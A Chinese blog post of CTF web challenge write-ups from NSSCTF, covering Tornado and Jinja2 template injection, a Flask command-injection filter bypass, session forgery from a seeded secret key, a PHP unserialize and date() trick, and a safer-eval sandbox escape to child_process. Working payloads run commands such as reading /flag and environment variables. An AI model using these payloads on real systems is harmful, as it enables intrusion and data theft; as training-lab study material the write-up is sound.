NSSCTF web刷题记录3

文章目录

    • [护网杯 2018]easy_tornado
    • [NSSRound#V Team]PYRCE
      • 方法一 cp命令
      • 方法二 tar命令
    • [CISCN 2019华东南]Web4
    • [CISCN 2023 华北]ez_date
    • [GWCTF 2019]你的名字
    • [GKCTF 2020]ez三剑客-easynode


[护网杯 2018]easy_tornado

打开题目,发现有三个链接,分别看一下
第一个提示flag位置在这里插入图片描述第二个由题目得知,其为tornado里的render函数
在这里插入图片描述第三个给算MD5的式子,结合访问的参数值,猜测如下

filehash=md5(cookie_secret+md5(filename))

首先我们要找到注入点,filename肯定是文件名,那么只好尝试参数filehash

?filename=/flag.txt&filehash={{7*7}}

发现跳转另一个页面,那么再次输入{{7*7}}
发现存在注入点,并且被过滤了
在这里插入图片描述

这里关键是要去得到cookie_secret的值,借助百度,Tornado框架的附属文件handler.settings中存在cookie_secret,修改下payload
在这里插入图片描述得到cookie_secret后,用脚本生成拼接后的MD5值
(注意是点号连接)

<?php
$a='/fllllllllllllag';
$b='5b4ac501-8d61-4a41-ba8a-97056572c6ea';
$c=md5($b.(md5($a)));
echo $c;

得到flag
在这里插入图片描述

[NSSRound#V Team]PYRCE

源码

from flask import Flask, request, make_response 
import uuid 
import os 
# flag in /flag 
app = Flask(__name__) 
def waf(rce): 
    black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ ' 
    for black in black_list: 
        if black in rce: 
            return False 
    return True 

@app.route('/', methods=['GET']) 
def index(): 
    if request.args.get("Ňśś"): 
        nss = request.args.get("Ňśś") 
        if waf(nss): 
            os.popen(nss) 
        else: 
            return "waf" 
return "/source" 

@app.route('/source', methods=['GET']) 
def source(): 
    src = open("app.py", 'rb').read() 
    return src 

if __name__ == '__main__': 
    app.run(host='0.0.0.0', debug=False, port=8080) 

简单的flask框架,在./的路由下存在GET参数,然后绕过waf过滤来命令执行
不难发现黑名单过滤了/,这里用的是pwd构造出/,然后结合存在app.py,我们用cp命令把/flag复制到app.py里面
我们先看一下怎么利用pwd构造出/
首先pwd表示的是当前工作目录
在这里插入图片描述那如果我们构造以下语句

cd ..&&cd ..&&pwd

构造出根目录
在这里插入图片描述

方法一 cp命令

我们要把flag复制到app.py,但是我们不知道当前目录是什么,所以多尝试看看需要几个cd ..
payload

cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py

考虑到过滤,先用%09代替空格,然后url编码一下

cp%09%24%28cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26cd%09%2E%2E%26%26echo%09%24%28pwd%29flag%29%09app%2Epy

由于不能直接打开app.py,我们需要访问./source打开
得到flag
在这里插入图片描述

方法二 tar命令

先创建一个静态访问的文档

mkdir%09static

payload

tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
//等效于tar czf static/flag.tar.gz /flag

注:czf为tar命令的参数
然后访问./static/flag.tar.gz下载flag
在这里插入图片描述

[CISCN 2019华东南]Web4

考点:seed生成伪随机数,session伪造

打开题目,发现可以读取用户信息
在这里插入图片描述这里查看下网络,发现是python2环境
读取下app.py
在这里插入图片描述
源码如下

# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True


@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
        return 'no response'


@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'


if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

源码非常简单,只要session中的username值为fuck即可

我们看看如何伪造session,下面给出key的获取方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

uuid.getnode()这个代表着Mac地址,我们尝试读取一下(file用load_file替换)

?url=local_file:///sys/class/net/eth0/address

在这里插入图片描述
然后再写脚本去爆破得到key(注意这里是python2环境)

import random
random.seed(0x0242ac02aff2)
print(str(random.random()*233))

在这里插入图片描述
然后解密一下
在这里插入图片描述
修改为fuck,再加密得到cookie值
bp抓包修改,得到flag
在这里插入图片描述

[CISCN 2023 华北]ez_date

考点:MD5强等于,sha1强等于,date函数特性

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

分析一下,首先判断a和b是否为数组,然后进行判断MD5和sha1是否强等于;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件

这里绕过强等于可以利用数字1和字符1分别赋值即可绕过,那么我们再来看看date函数,我们本地测试下

<?php
$a='/flag';
print(date($a));

运行结果为fSaturdayam9,可以发现字符串的lg变成了Saturdaym9,当我们试试防止其转义添加反斜杠时,成功构造出/flag

<?php
$a='/f\l\a\g';
print(date($a));

所以源码中的file值为/f\l\a\g

exp如下

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));

得到flag
在这里插入图片描述

[GWCTF 2019]你的名字

考点:ssti

打开题目,尝试输入{{7*7}}
发现报错,说明存在过滤
在这里插入图片描述替换一下

{%print(7*7)%}

成功注入
在这里插入图片描述我们可以bp抓包fuzz测试下过滤了什么
可以发现class也被过滤了
在这里插入图片描述payload

{%print(lipsum.__globals__['o''s']['pop''en']('env').read())%}

注:过滤了popen,用字符串拼接读取环境变量
得到flag
在这里插入图片描述

[GKCTF 2020]ez三剑客-easynode

考点:nodeJs,整数溢出,vm沙箱逃逸

打开题目,查看源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

分析一下,当访问./eval路径即收到请求时,会执行此函数。首先会检测是否为./eval路径,然后会定义变量delay,初始值为60秒;如果请求的查询参数 delay 是一个整数,那么会将 delay 更新为当前 delay 和 req.query.delay 中较大的值。

if (Number.isInteger(parseInt(req.query.delay))) 

观察到会被强制转换为int型,可以利用整数溢出绕过
在这里插入图片描述然后就是./eval路由,如果请求参数e存在,那么会返回saferEval(req.body.e)

此函数存在命令执行漏洞,搜索一下,会发现要利用vm沙箱逃逸的知识
poc如下

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

即e的值为process
payload

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/107942.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Effective C++】

Effective C 文章目录 Effective C一、让自己习惯C条款01&#xff1a;视C为一个语言联邦条款02&#xff1a;尽量以const&#xff0c;enum&#xff0c;inline代替#define的使用条款03&#xff1a;尽可能使用const条款04&#xff1a;确定对象被使用前已先被初始化 二、构造/析构/…

Flutter笔记:完全基于Flutter绘图技术绘制一个精美的Dash图标(中)

Flutter笔记 完全基于Flutter绘图技术绘制一个精美的Dart语言吉祥物Dash&#xff08;中&#xff09; 作者&#xff1a;李俊才 &#xff08;jcLee95&#xff09;&#xff1a;https://blog.csdn.net/qq_28550263 邮箱 &#xff1a;291148484163.com 本文地址&#xff1a;https://…

C/C++晶晶赴约会 2020年12月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C晶晶赴约会 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C晶晶赴约会 2020年12月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 晶晶的朋友贝贝约晶晶下周一起去看展览&#xff0…

25.2 MySQL 运算符

1. 伪表 在MySQL中, DUAL是一个特殊的单行, 单列的虚拟表, 主要用于在SELECT语句中计算表达式或执行函数, 而不需要从实际的数据表中检索数据. 使用DUAL的原因主要有以下几点:* 1. 简化计算: 通过在SELECT语句中使用DUAL, 可以方便地计算表达式或执行函数, 而无需创建临时表或…

AJAX原理及介绍

文章目录 AJAX&#xff08;Asynchronous Javascript And Xml&#xff09;传统请求及缺点AJAX概述XMLHttpRequest对象AJAX GET请求AJAX GET请求的缓存问题AJAX POST请求基于JSON的数据交换基于XML的数据交换AJAX乱码问题AJAX的异步与同步AJAX代码封装AJAX实现省市联动AJAX跨域问…

磁盘的结构(磁道,扇区,盘面,柱面,物理地址)

目录 1.磁盘、磁道、扇区的概念1.磁盘2.磁道3.扇区 2.如何在磁盘中读/写数据3.盘面、柱面的概念4.磁盘的物理地址1.根据地址读取一个“块” 5.磁盘的分类1.活动头磁道2.固定头磁盘3.根据盘片是否可更换 1.磁盘、磁道、扇区的概念 1.磁盘 磁盘的表面由一些磁性物质组成&#xf…

打破尺寸记录!荷兰QuTech研发16量子点阵列新技术

承载16个量子点交叉条阵列的量子芯片&#xff0c;可无缝集成到棋盘图案&#xff08;图片来源&#xff1a;网络&#xff09; 由荷兰代尔夫特理工大学(TU Delft)和荷兰应用科学研究组织(TNO)组建的荷兰量子计算研究中心QuTech的研究人员开发了一种用相对较少的控制线来控制大量量…

双向链表的初步练习

&#x1d649;&#x1d65e;&#x1d658;&#x1d65a;!!&#x1f44f;&#x1f3fb;‧✧̣̥̇‧✦&#x1f44f;&#x1f3fb;‧✧̣̥̇‧✦ &#x1f44f;&#x1f3fb;‧✧̣̥̇: Solitary-walk ⸝⋆ ━━━┓ - 个性标签 - &#xff1a;来于“云”的“羽球人”…

Redis进军磁盘存储

目录 1、对抗价格优势&#xff1a;纳入磁盘&#xff0c;降低成本&#xff1f; 2、Redis的野心&#xff1a;无敌是多么寂寞&#xff0c;所以我们要开新地图 3、开发者异议&#xff1a;他们正在偏离我们选择Redis的初衷 4、结语&#xff1a;性能为王&#xff0c;但绝不甘于只…

Elasticsearch:使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation (四)

这篇博客是之前文章&#xff1a; Elasticsearch&#xff1a;使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation &#xff08;一&#xff09;Elasticsearch&#xff1a;使用 Open AI 和 Langchain 的 RAG - Retrieval Augmented Generation &#xff08;二&a…

ROS自学笔记十八:ModuleNotFoundError: No module named ‘serial‘

出现上述错误&#xff0c;则需要安装serial功能包 第一步&#xff1a;输入 sudo apt install python3-pip 第二步&#xff1a;输入 pip install pyserial

List 3.5 详解原码、反码、补码

前言 欢迎来到我的博客&#xff0c;我是雨空集&#xff08;全网同名&#xff09;&#xff0c;无论你是无意中发现我&#xff0c;还是有意搜索而来&#xff0c;我都感到荣幸。这里是一个分享知识、交流想法的平台&#xff0c;我希望我的博客能给你带来帮助和启发。如果你喜欢我…

记一次线程爆满导致服务器崩溃的问题排查

记一次线程爆满导致服务器崩溃的问题排查 重启服务器 重启后&#xff0c;ssh连接发现下面问题 fork faild:Cannot allocate memory 以为是内存满了 于是&#xff0c;free -h,查看内存情况&#xff0c;还有&#xff0c;观察一段时间后&#xff0c;内存没多大变化 修改…

【扩散模型】HuggingFace Diffusers实战

HuggingFace Diffusers实战 1. 环境准备2. DreamBooth2.1 Stable Diffusion简介2.2 DreamBooth 3. Diffusers核心API4. 实战&#xff1a;生成美丽的蝴蝶图像4.1 下载数据集4.2 调度器4.3 定义扩散模型4.4 创建扩散模型训练循环4.5 图像的生成方法1.建立一个管线方法2.写一个采样…

MySQL 字符集与乱码与collation设置的问题?

开头还是介绍一下群&#xff0c;如果感兴趣PolarDB ,MongoDB ,MySQL ,PostgreSQL ,Redis, Oceanbase, Sql Server等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请联系 liuaustin3 &#xff0c;在新加的朋友…

线扫相机DALSA--常见问题一:软件安装顺序

1.软件安装顺序 先安装&#xff1a;Sapera_LT_SDK&#xff0c;后安装Xtium-CL MX4驱动。 2.初次安装CamExpert&#xff0c;重启电脑后未找到相机 Settings(搜索协议)配置完毕后&#xff0c;需点击Detect Camera(一键查找相机)按钮&#xff0c;搜索相机。第一次查找相机耗时会略…

word行内插入mathtype 公式后行距变大解决办法

现象 word行内插入mathtype 公式后行距变大 解决方法 选中要进行操作的那些行&#xff0c;依次单击菜单命令“格式→段落”&#xff0c;打开“段落”对话框&#xff1b;单击“缩进和间距”选项卡&#xff0c;将间距的“段前”和“段后”都调整为“0行”&#xff1b;将“如果…

【广州华锐互动】城市水处理VR仿真实训平台

随着科技的不断发展&#xff0c;虚拟现实&#xff08;VR&#xff09;技术已经逐渐渗透到各个领域&#xff0c;为我们带来了前所未有的沉浸式体验。在教育领域&#xff0c;VR技术的应用也日益广泛&#xff0c;为传统的教学模式带来了革命性的变革。本文将以城市水处理VR仿真实训…

Java集合类--List集合,Set集合,Map集合

集合可以看作一个容器&#xff0c;Java中提供了不同的集合类&#xff0c;这些类具有不同的存储对象的方式&#xff0c;同时提供了相应的方法&#xff0c;以便用户对集合进行遍历、添加、删除、查找指定的对象。 1.集合类概述&#xff1a; 集合类类似于数组&#xff0c;与数组不…

公网远程访问macOS本地web服务器

# 公网访问macOS本地web服务器【内网穿透】 文章目录 1. 启动Apache服务器2. 公网访问本地web服务2.1 本地安装配置cpolar2.2 创建隧道2.3 测试访问公网地址3. 配置固定二级子域名3.1 保留一个二级子域名3.2 配置二级子域名4. 测试访问公网固定二级子域名 以macOS自带的Apache…